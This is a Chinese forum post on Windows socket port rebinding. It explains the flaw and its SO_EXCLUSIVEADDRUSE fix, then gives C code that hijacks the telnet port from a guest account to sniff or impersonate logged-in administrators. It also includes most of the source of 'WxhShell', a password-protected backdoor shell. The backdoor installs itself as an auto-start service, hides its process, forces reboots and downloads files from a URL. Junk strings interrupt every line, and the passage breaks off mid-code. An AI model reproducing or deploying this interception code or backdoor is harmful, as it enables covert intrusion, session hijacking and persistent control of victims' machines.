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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `< _A#@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {S[+hUl  
%c:v70*h=  
  saddr.sin_family = AF_INET; 5yBaxw`  
j=c=Pe"?u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7m='-_w)?w  
r?Q`b2Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +c'b=n9j  
uzG{jc^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  KT'Ebb]  
K=lm9K  
  这意味着什么?意味着可以进行如下的攻击: PY.4J4nn|  
IY_u|7d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  IDCuS  
}Rl^7h<!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2yB)2n#ut  
9)2 kjBeb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1V ?)T  
q+<<Ku(20  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F3 uR:)4<M  
Fs+ CY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uT1xvXfqP  
/1D]\k()  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )\K;Ncp[  
Tx)!qpZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {p.D E  
3QM;K^$  
  #include d}B_ wz'  
  #include B"; >zF  
  #include '?$N.lj$d  
  #include    /w[B,_ZKTk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o}^/K m+t  
  int main() @bfW-\ I  
  { Jr2x`^aNO  
  WORD wVersionRequested; (_2Iu%F  
  DWORD ret; +`jI z'+  
  WSADATA wsaData; _T\/kJ)Q\  
  BOOL val; ^v2-"mX<  
  SOCKADDR_IN saddr; AlPk o($E*  
  SOCKADDR_IN scaddr; y&A0}>a:d  
  int err; ?so=k&I-M  
  SOCKET s; l  rRRRR  
  SOCKET sc; g<b(q|  
  int caddsize; [-Xz:  
  HANDLE mt; _Fc :<Ym?  
  DWORD tid;   mE>v (JY  
  wVersionRequested = MAKEWORD( 2, 2 ); NCu:E{([  
  err = WSAStartup( wVersionRequested, &wsaData ); cpY'::5.%  
  if ( err != 0 ) { 0XgJCvMcB  
  printf("error!WSAStartup failed!\n"); +O]jklS4H  
  return -1; WRdBL5  
  } 322)r$!"  
  saddr.sin_family = AF_INET; N"',  
   nO;*Peob  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O\~/J/u <  
^k#.;Q#4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }^b7x;O|  
  saddr.sin_port = htons(23); 5>S=f{ghFw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ng0tNifZ;  
  { pYxdE|2j  
  printf("error!socket failed!\n"); 76'@}wNnw  
  return -1; V?[dg^*0  
  } r:.ydr@  
  val = TRUE; mK Ta.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PQ0l<]Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,V`zW<8  
  { [<0\v<{`L  
  printf("error!setsockopt failed!\n"); \N|ma P  
  return -1; # .j[iN :+  
  } JXhHitUD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jWUpzf)q=T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K-<kp!v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^Fop/\E  
GS*Mv{JJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,)svSzR  
  { ]QqT.z%B  
  ret=GetLastError(); __mnz``/Y  
  printf("error!bind failed!\n"); dRhsnT+KX  
  return -1; j]6c_r3  
  } -O~ V4004  
  listen(s,2); 9y$"[d27;+  
  while(1) L!>EW0  
  { iHYvH   
  caddsize = sizeof(scaddr); RX"~m!26  
  //接受连接请求 <w1# 3Mu'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +t8{aaV  
  if(sc!=INVALID_SOCKET) pBR9)T\ n  
  { dv7IHUFf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C@P4}X0,=  
  if(mt==NULL) H?H(=  
  { bP+b~!3  
  printf("Thread Creat Failed!\n"); L_~vPp  
  break; ' K\ $B_  
  } d*cAm$  
  } .[Hv/?L  
  CloseHandle(mt); H)@f_pfj(  
  } g~/@`Z2Y  
  closesocket(s); $D%[}[2  
  WSACleanup(); ,suC`)R  
  return 0; #P,C9OQD  
  }   +`(,1L1  
  DWORD WINAPI ClientThread(LPVOID lpParam) $qp,7RW  
  { _v\L'`bif  
  SOCKET ss = (SOCKET)lpParam; `A0trC3  
  SOCKET sc; HLruZyN4  
  unsigned char buf[4096]; 9)~Ha iVB  
  SOCKADDR_IN saddr; aP`[O]8j  
  long num; B |pdqSI  
  DWORD val; #q-7#pp  
  DWORD ret; A}h`%b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -~HyzX\cZB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bMjE@S&  
  saddr.sin_family = AF_INET; 13f@Ox$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ? CabVj-r  
  saddr.sin_port = htons(23); OZCbMeB{+J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IPTEOA<M[  
  { q\I2lZ  
  printf("error!socket failed!\n"); 9FKowF_8  
  return -1; PKK18E}{%^  
  } jn:9Cr,o;g  
  val = 100; qiyX{J7Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OtsW>L@ O(  
  { "'9[c"Iz  
  ret = GetLastError(); +jv&V%IL  
  return -1; M[}aQWT$v  
  } ^DaP^<V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I<}<!.Bc!  
  { ?E2$  
  ret = GetLastError(); F?jFFw im  
  return -1; QVq+';cG  
  } /t $J<bU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ch-.+p3  
  { qVe&nXo  
  printf("error!socket connect failed!\n"); MEled:i  
  closesocket(sc); 0^G5 zQlj  
  closesocket(ss); 84|oqwZO  
  return -1; A])+Pe  
  } (;(P3h  
  while(1) .^o3  
  { &?wNL@n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ] l@Mo7|w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'G|M_ e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &40# _>W7  
  num = recv(ss,buf,4096,0); %@Ow.7zh  
  if(num>0) +T,Yf/^Fn  
  send(sc,buf,num,0); .kT}E5  
  else if(num==0) K4`)srd  
  break; nS$_VJ]~  
  num = recv(sc,buf,4096,0); O dWZYWj  
  if(num>0) {OBV+}#  
  send(ss,buf,num,0); ']'V?@H]4  
  else if(num==0) $T-Pl57  
  break; 9cMQ51k)E  
  } hALg5.E{T  
  closesocket(ss); /ZpwJc`e  
  closesocket(sc); +Dwq>3AH  
  return 0 ; 8gK  <xp  
  } B*c@w~E  
4eh~/o&h  
W5c?f,  
========================================================== :IB@@5r1  
s(u,mtG  
下边附上一个代码,,WXhSHELL k  __MYb  
NB@TyU  
========================================================== #eZm)KFQg  
7{fOo%(7  
#include "stdafx.h" POl_chq  
g)/#gyT4Y  
#include <stdio.h> AJWV#J%nB  
#include <string.h> 2]i>kV/,0  
#include <windows.h> :u4q.^&!e  
#include <winsock2.h> 6{8dv9tK  
#include <winsvc.h> %X^K5Io  
#include <urlmon.h> TTQ(\l4  
rV[/G#V>{  
#pragma comment (lib, "Ws2_32.lib") 5+yT{,(5  
#pragma comment (lib, "urlmon.lib") 1v2pPUH\  
z c4l{+3  
#define MAX_USER   100 // 最大客户端连接数 6%Ws>H4@|  
#define BUF_SOCK   200 // sock buffer "%[aWb  
#define KEY_BUFF   255 // 输入 buffer N{<9N jmm  
I4RUXi 5  
#define REBOOT     0   // 重启 |vVcO  
#define SHUTDOWN   1   // 关机 M tD{/.D>  
V#-\ 4`c  
#define DEF_PORT   5000 // 监听端口 >mXq= 9L4  
yG~7Xo5  
#define REG_LEN     16   // 注册表键长度 wrJ:jTh  
#define SVC_LEN     80   // NT服务名长度 <JkmJ/X  
}u9wD08x  
// 从dll定义API 'qt+.vd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sQ05wAv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;mtv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hi5}s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hY5tBL  
,2*x4Gycb  
// wxhshell配置信息 QgB%\mO=  
struct WSCFG { @Y| %  
  int ws_port;         // 监听端口 RX6s[uQ  
  char ws_passstr[REG_LEN]; // 口令 x+;"(]#  
  int ws_autoins;       // 安装标记, 1=yes 0=no vOnhJN  
  char ws_regname[REG_LEN]; // 注册表键名 x |0@T?  
  char ws_svcname[REG_LEN]; // 服务名 7!r)[2l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vf-cx\y7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 66jL2XU<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -Nu Rf#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xmp^`^v*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n `Ry!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O\=c&n~`  
g*a|QBj%  
}; cE SSSH!m  
_a[)hu8q.  
// default Wxhshell configuration B(/)mB  
struct WSCFG wscfg={DEF_PORT, [:xpz,  
    "xuhuanlingzhe", U?W?VEOO!7  
    1, j 5{ "j  
    "Wxhshell", f;Uf=.#F  
    "Wxhshell", *B ]5K{N  
            "WxhShell Service", s>+,u7EV  
    "Wrsky Windows CmdShell Service", +GDT@,/  
    "Please Input Your Password: ", }p$@.+  
  1, ~P5;k_&  
  "http://www.wrsky.com/wxhshell.exe", p^/6Rb"e  
  "Wxhshell.exe" Zwm2T3@e  
    }; n |Is&fy  
w>6~ zAh  
// 消息定义模块 '$m uA\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8<X,6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VzZ'W[/7)B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5L%\rH&N  
char *msg_ws_ext="\n\rExit."; s J~WzQ  
char *msg_ws_end="\n\rQuit."; 2C@s-`b   
char *msg_ws_boot="\n\rReboot..."; kntM  
char *msg_ws_poff="\n\rShutdown..."; ~4{|  
char *msg_ws_down="\n\rSave to "; 8&2W^f5  
EKTn$k=  
char *msg_ws_err="\n\rErr!"; N sNk  
char *msg_ws_ok="\n\rOK!"; v$_YZm{!<  
:^H#i:4  
char ExeFile[MAX_PATH]; `zmj iC  
int nUser = 0; RV{'[8gM   
HANDLE handles[MAX_USER]; -Uu65m~:{k  
int OsIsNt; !GL kAV  
fH6mv0  
SERVICE_STATUS       serviceStatus; `:&jbd4H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >56I`[)  
}US^GEs(  
// 函数声明 :i8B'|DN5  
int Install(void); y/d/#}\:  
int Uninstall(void); g[ dI%  
int DownloadFile(char *sURL, SOCKET wsh); m.0: R  
int Boot(int flag); ,rZp(moj  
void HideProc(void); "T+oXK\B  
int GetOsVer(void); +`D,7"{Eu  
int Wxhshell(SOCKET wsl); . v L4@_  
void TalkWithClient(void *cs); R-\a3q  
int CmdShell(SOCKET sock); FvTc{"w /  
int StartFromService(void); f:_mrzz  
int StartWxhshell(LPSTR lpCmdLine); 6r3.%V.&  
u:[vqlU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $T%~t@Cv1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /rQ[Ik$|  
\ =(r6X  
// 数据结构和表定义 +* AdSzX  
SERVICE_TABLE_ENTRY DispatchTable[] = G:k]tZ*`  
{ ugT;NB  
{wscfg.ws_svcname, NTServiceMain}, M,V~oc5  
{NULL, NULL} 5S&'O4yz^  
}; %hM8px4d  
xLp<G(;  
// 自我安装 q` Z_Bw  
int Install(void) ZQV,gIFys  
{ h|Z%b_a  
  char svExeFile[MAX_PATH]; /%4wm?(eA  
  HKEY key; E!_mXjlPc  
  strcpy(svExeFile,ExeFile); +T|M U  
Q^c)T>OAI  
// 如果是win9x系统,修改注册表设为自启动 LFHzd@Y7"  
if(!OsIsNt) { R_ |Sg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~0 5p+F)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TcjTF|q>  
  RegCloseKey(key); Utv#E.VI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [>^xMF]$2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %n7Y5|Uh  
  RegCloseKey(key); ~,jBm^4  
  return 0; sCi"qtHP  
    } byrK``f  
  } M`jqU g  
} oI2YJ2?Je8  
else { 5OS|Vp||b  
9+!1jTGSkf  
// 如果是NT以上系统,安装为系统服务 |y T-N3H@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E` O@UW@  
if (schSCManager!=0) C % d  
{ vy&< O  
  SC_HANDLE schService = CreateService H,I k&{@j  
  ( F[HMX4  
  schSCManager, rQ+2 -|#  
  wscfg.ws_svcname, 8;vpa*  
  wscfg.ws_svcdisp, }/cMG/%  
  SERVICE_ALL_ACCESS, ~l SdWUk>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uOU?-WtPz  
  SERVICE_AUTO_START, miCW(mbO8  
  SERVICE_ERROR_NORMAL, )4@La&  
  svExeFile, ;3 |Z}P  
  NULL, "B 9aJo  
  NULL, _pM~v>~*+  
  NULL, 3\~ RWoB0u  
  NULL, ud}B#{6  
  NULL 1_Ag:> #X  
  ); Z6Kw'3  
  if (schService!=0) nS`DI92I  
  { {y0`p1  
  CloseServiceHandle(schService); h9J%NH  
  CloseServiceHandle(schSCManager); _Vj uQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ait3KIJ9  
  strcat(svExeFile,wscfg.ws_svcname); 2wKW17wj,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =Y;w O8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &F xw19[G  
  RegCloseKey(key); 'c")]{  
  return 0; _ h7qS  
    } e.<y-b?  
  } p"lTZ7c:Y  
  CloseServiceHandle(schSCManager); $: %U`46%s  
} vi :IO  
} V< ]l=JOd  
_0uFe7sIZ  
return 1; CG -^}xE:  
} ={GYJ. *Ah  
Pn;Tg7oz  
// 自我卸载 nWd]P\a'V  
int Uninstall(void) GNIZHyT(O  
{ vxmz3ht,Q  
  HKEY key; OB&lq.r  
\4B2%H  
if(!OsIsNt) { /'S@iq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sp VE'"^  
  RegDeleteValue(key,wscfg.ws_regname); &q?A)R  
  RegCloseKey(key); -55Pvg0ND  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 68pB*(i  
  RegDeleteValue(key,wscfg.ws_regname); /N'|Vs,X  
  RegCloseKey(key); l_`DQ8L`  
  return 0; Uz&XqjS  
  } H%AF,  
} N8s2v W  
} Oy,`tG0  
else { No1*~EQ  
MK*WStY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^71!.b%  
if (schSCManager!=0) lN<,<'&^.  
{ VXpbmg!{S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y_mD9bgW  
  if (schService!=0) u\,("2ZW9+  
  { y&$mN  
  if(DeleteService(schService)!=0) { %#^)hX,+Q  
  CloseServiceHandle(schService); Z6Owxqfht  
  CloseServiceHandle(schSCManager); K:i{us`  
  return 0; ,2I8,MOg  
  } c,\!<4  
  CloseServiceHandle(schService); \vU1*:3  
  } 0!^vQ  
  CloseServiceHandle(schSCManager); <o\2-fWvY  
} aeP 6JHj  
} jw^Pt~@  
~sd+ch*  
return 1; D8b~-#  
} DV,rh83.ip  
|6mDooTy  
// 从指定url下载文件 @n-[bN  
int DownloadFile(char *sURL, SOCKET wsh) W)0y+H\% r  
{ kDrqV{_  
  HRESULT hr; m ^O9G?  
char seps[]= "/"; n<. T6  
char *token; quvdm68  
char *file; hkh b8zS  
char myURL[MAX_PATH]; JMnk~8O  
char myFILE[MAX_PATH]; &vy/Vd  
) Apg  
strcpy(myURL,sURL); yLo{^4a.  
  token=strtok(myURL,seps); ##6_kcL:6G  
  while(token!=NULL) X)tf3M {J@  
  { \U1fUrw$*  
    file=token; s /? &H-  
  token=strtok(NULL,seps); cP4K9:k  
  } k>N >_{\  
Pd,+= ML  
GetCurrentDirectory(MAX_PATH,myFILE); NVTNjDF%s  
strcat(myFILE, "\\"); cvf@B_iN9  
strcat(myFILE, file); YRkp(}*!\  
  send(wsh,myFILE,strlen(myFILE),0); $SP*hkU  
send(wsh,"...",3,0); ]T3dZ`-(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0S{dnp  
  if(hr==S_OK) J5J$qCJq  
return 0; }Z|uLXaz  
else sw(dd01a 7  
return 1; :[#~,TW  
OYWW<N+R2  
} _Gpq=(q)  
Pmj]"7Vd[  
// 系统电源模块 Q}?yj,D D  
int Boot(int flag) =s2dD3Fr|  
{ 78s:~|WB<{  
  HANDLE hToken; 2^Tj@P7  
  TOKEN_PRIVILEGES tkp; T@n-^B!Xq  
Zl0Kv *S  
  if(OsIsNt) { nbnbG0r:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QFI8|i@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,C#Mf@b  
    tkp.PrivilegeCount = 1; ?:Y0#Btj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kH!I&4d&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hLVS}HE2  
if(flag==REBOOT) { h48JpZ"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :J3ZTyjb  
  return 0; x4PH-f-7  
} n\nC.|_G@  
else { "%c\i-&t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k~(j   
  return 0; I[~EQ {Iz  
} 6AZJ,Q\E@  
  } ]7QRelMiz+  
  else { He)<S?X-6  
if(flag==REBOOT) { Wdt9k.hzN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "d a%@Zy  
  return 0; `ym@ U(;N  
} H!F Cerg  
else { N0@&eX|$i4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4T-9F  
  return 0; >H@ zP8  
} 'L*nC T;  
} &S}i)Nu6J  
U&fOsx?"  
return 1; U/ncD F%C  
} }w \["r  
sOSol7n  
// win9x进程隐藏模块 x?J- {6k  
void HideProc(void) 't$(Ruw  
{ kIAWI;H{  
r h*Pl]'3z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Md \yXp  
  if ( hKernel != NULL ) `U4R% qhWA  
  { Bi"7FF(z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tylMJ$ 9*.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x%ZgLvdp,  
    FreeLibrary(hKernel); f-9& n4=H  
  } yZ[H&>  
[)}F4Jsz%  
return; `;7^@k  
} u,:GJU  
,}!OJyT  
// 获取操作系统版本 8>Xyz`$kH  
int GetOsVer(void) ~jab/cR  
{ DnA}!s  
  OSVERSIONINFO winfo; SxMrX C*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XEF|B--,  
  GetVersionEx(&winfo); vUGEzCM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1}e1:m]r  
  return 1; XqVhC):  
  else 6i/x"vl>  
  return 0; ~X^L3=!vf  
} [>P@3t(/  
T}(J`{ 9i  
// 客户端句柄模块 .6%-Il  
int Wxhshell(SOCKET wsl) mie<jha  
{ tBgB>-h(  
  SOCKET wsh; :CO>g=`  
  struct sockaddr_in client; >]q{vKCAP  
  DWORD myID; y]5O45E0  
;BV1E|j  
  while(nUser<MAX_USER) 4P@Ak7iL(V  
{ a3i4eGT-  
  int nSize=sizeof(client); 2R&msdF   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); } h|1H  
  if(wsh==INVALID_SOCKET) return 1; \*x]xc/^  
_94|^   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /dpEL9K  
if(handles[nUser]==0) YEoQIR  
  closesocket(wsh); xzg81sV7  
else @ U6Iw"@  
  nUser++; .OM m"RtK  
  } fYF\5/_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5V&3m@d0aq  
<syMrXk)R(  
  return 0; SwV{t}I  
} 'qS&7 W(  
]}2+yK  
// 关闭 socket XVjs0/5b  
void CloseIt(SOCKET wsh) dzMlfJp  
{ `_C4L=q"  
closesocket(wsh); q/,>UtRr  
nUser--; K_ P08  
ExitThread(0); Qvh: hkR  
} y^:!]-+  
WpE\N0Yg  
// 客户端请求句柄 (J8 (_MF  
void TalkWithClient(void *cs) Tj}H3/2  
{ PSz|I8 c  
fOEw]B#@  
  SOCKET wsh=(SOCKET)cs; T+7O+X#  
  char pwd[SVC_LEN]; won;tO]\;@  
  char cmd[KEY_BUFF]; Uk=jQfA*J  
char chr[1]; b: UTq 7^  
int i,j; k3::5&  
(j;s6g0  
  while (nUser < MAX_USER) { L.XGD|m  
x 5vvY  
if(wscfg.ws_passstr) { >%k:+ +b{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _|`~CLE[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,)3%@MwO  
  //ZeroMemory(pwd,KEY_BUFF); [k-Q89  
      i=0; %EA|2O.D  
  while(i<SVC_LEN) { s(W]>Ib  
'+LbFGrO3  
  // 设置超时 ca/AScL  
  fd_set FdRead; BwwOaO@L  
  struct timeval TimeOut; SW|{)L,  
  FD_ZERO(&FdRead); 25%[nkO4  
  FD_SET(wsh,&FdRead); /?<o?IR~6  
  TimeOut.tv_sec=8; H'E(gc)>)  
  TimeOut.tv_usec=0; $s-/![ 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VWqmqR%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .}Va~[0j  
9~i=Af@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jhdo#}Ub  
  pwd=chr[0]; R7u&`  
  if(chr[0]==0xd || chr[0]==0xa) { $d 2mcwh\  
  pwd=0; 1+|s   
  break; t'Zq>y;yg  
  } wlk{V  
  i++; mm(Ff>O  
    } mOG;[CB  
\^O&){q(9  
  // 如果是非法用户,关闭 socket 1sgI,5liUs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f& P'Kxj_  
} 0Z9>%\km_  
Vx$ ?)&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <7-:flQz~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X6I"&yct  
"NR`{1f:O  
while(1) { cKt=_4Lf  
7M;7jI/C  
  ZeroMemory(cmd,KEY_BUFF); yO\ .dp  
-\C;2&(  
      // 自动支持客户端 telnet标准   r:fMd3;gq  
  j=0; BEWDTOY[  
  while(j<KEY_BUFF) { / i[F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C;]}Ht:~I  
  cmd[j]=chr[0]; lezX-5Z  
  if(chr[0]==0xa || chr[0]==0xd) { tnL$v2e6q  
  cmd[j]=0; v4c*6(m  
  break; [\eh$r\   
  } -I dW-9~9  
  j++; Gf``0F)  
    } j4pxu/2  
,*_=w^;Rr  
  // 下载文件 6 axe  
  if(strstr(cmd,"http://")) { BN??3F8C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i+rh&,  
  if(DownloadFile(cmd,wsh)) ]\DZW4?'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <r 2$k"*:  
  else ?wM{NVt#-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Msj(>U&}+  
  } Sep/N"7~t  
  else { w)}' {]P"c  
/G*]3=cSe  
    switch(cmd[0]) { >1luLp/,$  
  r{oRN  
  // 帮助 *?Hc8y-dG,  
  case '?': { aY:u-1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5dwC~vn}c  
    break; Lg6;FbY?  
  } eO7 )LM4  
  // 安装 f_\,H|zco)  
  case 'i': { h"O4r8G}  
    if(Install()) G,o5JL"t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JK.<(=y\  
    else $W}YXLFj?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BF)!VnJ  
    break; VY9o}J>,w  
    } #Y|t,x;  
  // 卸载 K"fr4xHq  
  case 'r': { !q]@/<=  
    if(Uninstall()) {,;R\)8D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Kg-ZDK8  
    else p;nRxi7'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nulLK28q  
    break; 3 UXaA;  
    } 7 LotN6H  
  // 显示 wxhshell 所在路径 ^:hI bF4G  
  case 'p': { NgI n\) =0  
    char svExeFile[MAX_PATH]; OoIs'S-Z#  
    strcpy(svExeFile,"\n\r"); 4$W}6 v  
      strcat(svExeFile,ExeFile); .|?UqZ(,  
        send(wsh,svExeFile,strlen(svExeFile),0); W"3YA+qpI  
    break; u7>{#]  
    } QVT|6znw  
  // 重启 #E`wqI\'  
  case 'b': { Ec3TY<mVr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r2b_$  
    if(Boot(REBOOT)) o57r ,`N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pDYcsC{p  
    else { rf\/Y"D  
    closesocket(wsh); Kg8n3pLAX  
    ExitThread(0); d@b" ~r}  
    } CpGy'Ia  
    break; k[ZkVwx  
    } hiT&QJB` _  
